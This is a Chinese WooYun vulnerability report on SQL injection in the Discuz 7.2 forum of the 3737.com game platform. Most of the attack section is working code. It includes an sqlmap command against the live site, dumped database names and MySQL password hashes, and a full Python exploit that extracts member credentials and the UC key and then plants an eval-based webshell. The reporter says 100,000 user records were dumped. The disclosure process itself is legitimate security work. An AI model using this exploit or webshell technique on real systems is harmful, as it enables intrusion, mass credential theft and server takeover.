当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0204072

漏洞标题:游戏安全之3737游戏平台某处严重安全缺陷+应用配置不当(可Union跨库查询/涉及400W+用户信息)

相关厂商:3737.com

漏洞作者: Exploit DB

提交时间:2016-05-06 12:52

修复时间:2016-06-20 13:00

公开时间:2016-06-20 13:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-06: 细节已通知厂商并且等待厂商处理中
2016-05-06: 厂商已经确认,细节仅向厂商公开
2016-05-16: 细节向核心白帽子及相关领域专家公开
2016-05-26: 细节向普通白帽子公开
2016-06-05: 细节向实习白帽子公开
2016-06-20: 细节向公众公开

简要描述:

RT.

详细说明:

#1 SQL注入
Discuz7.2 faq.php sql注射:http://bbs.3737.com/faq.php
今天下午这个搞我蒙蔽了 用网上的EXP可以直接爆出管理员密码
但是用sqlmap却跑不出库 搞了好久 最后终于成功用sqlmap跑出库了
需要用的tamper脚本:between

sqlmap.py -u "http://bbs.3737.com//faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema%20.tables%20group%20by%20x)a)%23" --tamper=between


QQ截图20160501151254.png


available databases [23]:
[*] flashgame
[*] flashgame_25371
[*] flashgame_68910
[*] flashgame_93981
[*] game_resource
[*] information_schema
[*] mysql
[*] nagios
[*] newtop_bbs
[*] newtop_count
[*] newtop_new_union
[*] newtop_ucenter
[*] newtop_union
[*] newtop_web
[*] phpcms_gameinfo
[*] union_789un
[*] zhanqun_17daji
[*] zhanqun_443399
[*] zhanqun_60853
[*] zhanqun_67139
[*] zhanqun_79307
[*] zhanqun_83586
[*] zhanqun_91daji


[*] cms_root [1]:
password hash: *024DF021986F236BC2A3EA64AFEC60EB1AC8074B
[*] count_web [1]:
password hash: *6861336D04C89DFE419FE5FE7D78A5C5FB8162DE
[*] flashgame [1]:
password hash: *5DC1BCC8A9D7885317EA5FE1B75E4E6DE112E8A7
[*] nagios [1]:
password hash: *7031B081B84542E16AD42D87786B8AA7CE97FE0E
[*] root [3]:
password hash: *2D03EB2825EA49D52E4619CFBE89AE1500D7B43A
password hash: *5FE18C4F40A4A227BCC8B68A488167A73171F4E2
password hash: *6783102CC331B93B27DC1B4CE64163E678802A63
[*] select_db_count [1]:
password hash: *6783102CC331B93B27DC1B4CE64163E678802A63
[*] slave_admin [1]:
password hash: *562C5917A97191E45065E86D5982F9072E1FEEA6
[*] top_web [1]:
password hash: *621D52A9095F131E30E786FA77D5DB8DDB592D22
[*] xiaobei [2]:
password hash: *6783102CC331B93B27DC1B4CE64163E678802A63
password hash: *79AC804D12E3482563B4012D758D182AFF8C98D4


QQ截图20160501151254.png


QQ截图20160501151254.png


两个都是400W+ 保守估计这两个应该用户是一样的
用网上公开的EXP可以快速脱裤

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf_8 -*-
# author iswin
import sys
import hashlib
import time
import math
import base64
import urllib2
import urllib
import re
def sendRequest(url,para):
try:
data = urllib.urlencode(para)
req=urllib2.Request(url,data)
res=urllib2.urlopen(req,timeout=20).read()
except Exception, e:
print 'Exploit Failed!\n%s'%(e)
exit(0);
return res
def getTablePrefix(url):
print 'Start GetTablePrefix...'
para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select hex(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
res=sendRequest(url,para);
pre=re.findall("Duplicate entry '(.*?)'",res);
if len(pre)==0:
print 'Exploit Failed!'
exit(0);
table_pre=pre[0][:len(pre[0])-1].decode('hex')
table_pre=table_pre[0:table_pre.index('_')]
print 'Table_pre:%s'%(table_pre)
return table_pre
def getCurrentUser(url):
para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
res=sendRequest(url,para)
pre=re.findall("Duplicate entry '(.*?)'",res)
if len(pre)==0:
print 'Exploit Failed!'
exit(0);
table_pre=pre[0][:len(pre[0])-1]
print 'Current User:%s'%(table_pre)
return table_pre
def getUcKey(url):
para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
para1={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,63,2) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
res=sendRequest(url,para);
res1=sendRequest(url,para1);
key1=re.findall("Duplicate entry '(.*?)'",res)
key2=re.findall("Duplicate entry '(.*?)'",res1)
if len(key1)==0:
print 'Get Uc_Key Failed!'
return ''
key=key1[0][:len(key1[0])-1]+key2[0][:len(key2[0])-1]
print 'uc_key:%s'%(key)
return key
def getRootUser(url):
para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(user,0x20,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
res=sendRequest(url,para);
pre=re.findall("Duplicate entry '(.*?)'",res)
if len(pre)==0:
print 'Exploit Failed!'
exit(0);
table_pre=pre[0][:len(pre[0])-1].split(' ')
print 'root info:\nuser:%s password:%s'%(table_pre[0],table_pre[1])
def dumpData(url,table_prefix,count):
para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(username,0x20,password) from %s_members limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'%(table_prefix,count)}
res=sendRequest(url,para);
datas=re.findall("Duplicate entry '(.*?)'",res)
if len(datas)==0:
print 'Exploit Failed!'
exit(0)
cleandata=datas[0][:len(datas[0])-1]
info=cleandata.split(' ')
print 'user:%s pass:%s'%(info[0].decode('utf-8').encode('cp936'),info[1])
def microtime(get_as_float = False) :
if get_as_float:
return time.time()
else:
return '%.8f %d' % math.modf(time.time())

def get_authcode(string, key = ''):
ckey_length = 4
key = hashlib.md5(key).hexdigest()
keya = hashlib.md5(key[0:16]).hexdigest()
keyb = hashlib.md5(key[16:32]).hexdigest()
keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()
key_length = len(cryptkey)
string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
string_length = len(string)
result = ''
box = range(0, 256)
rndkey = dict()
for i in range(0,256):
rndkey[i] = ord(cryptkey[i % key_length])
j=0
for i in range(0,256):
j = (j + box[i] + rndkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp
a=0
j=0
for i in range(0,string_length):
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
return keyc + base64.b64encode(result).replace('=', '')

def get_shell(url,key,host):
headers={'Accept-Language':'zh-cn',
'Content-Type':'application/x-www-form-urlencoded',
'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
'Referer':url
}
tm = time.time()+10*3600
tm="time=%d&action=updateapps" %tm
code = urllib.quote(get_authcode(tm,key))
url=url+"?code="+code
data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://xxx\');eval($_POST[3]);//</item>
</root>'''
try:
req=urllib2.Request(url,data=data1,headers=headers)
ret=urllib2.urlopen(req)
except:
return "Exploit Falied"
data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://aaa</item>
</root>'''
try:
req=urllib2.Request(url,data=data2,headers=headers)
ret=urllib2.urlopen(req)
except:
return "error"
try:
req=urllib2.Request(host+'/config.inc.php')
res=urllib2.urlopen(req,timeout=20).read()
except Exception, e:
print 'GetWebshell Failed,%s'%(e)
return
print "webshell:"+host+"/config.inc.php,password:3"
if __name__ == '__main__':
print 'DZ7.x Exp Code By iswin'
if len(sys.argv)<3:
print 'DZ7.x Exp Code By iswin\nusage:python dz7.py http://www.waitalone.cn 10'
exit(0)
url=sys.argv[1]+'/faq.php'
count=int(sys.argv[2])
user=getCurrentUser(url)
if user.startswith('root@'):
getRootUser(url)
uc_key=getUcKey(url)
if len(uc_key)==64:
print 'Start GetWebshell...'
get_shell(sys.argv[1]+'/api/uc.php',uc_key,sys.argv[1])
tb_pre=getTablePrefix(url)
print 'Start DumpData...'
for x in xrange(0,count):
dumpData(url,tb_pre,x)


我这因为时间原因只脱了十万条

QQ截图20160501151254.png


不继续深入了

漏洞证明:

修复方案:

版权声明:转载请注明来源 Exploit DB@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-05-06 12:57

厂商回复:

谢谢,这位白帽子。

最新状态:

暂无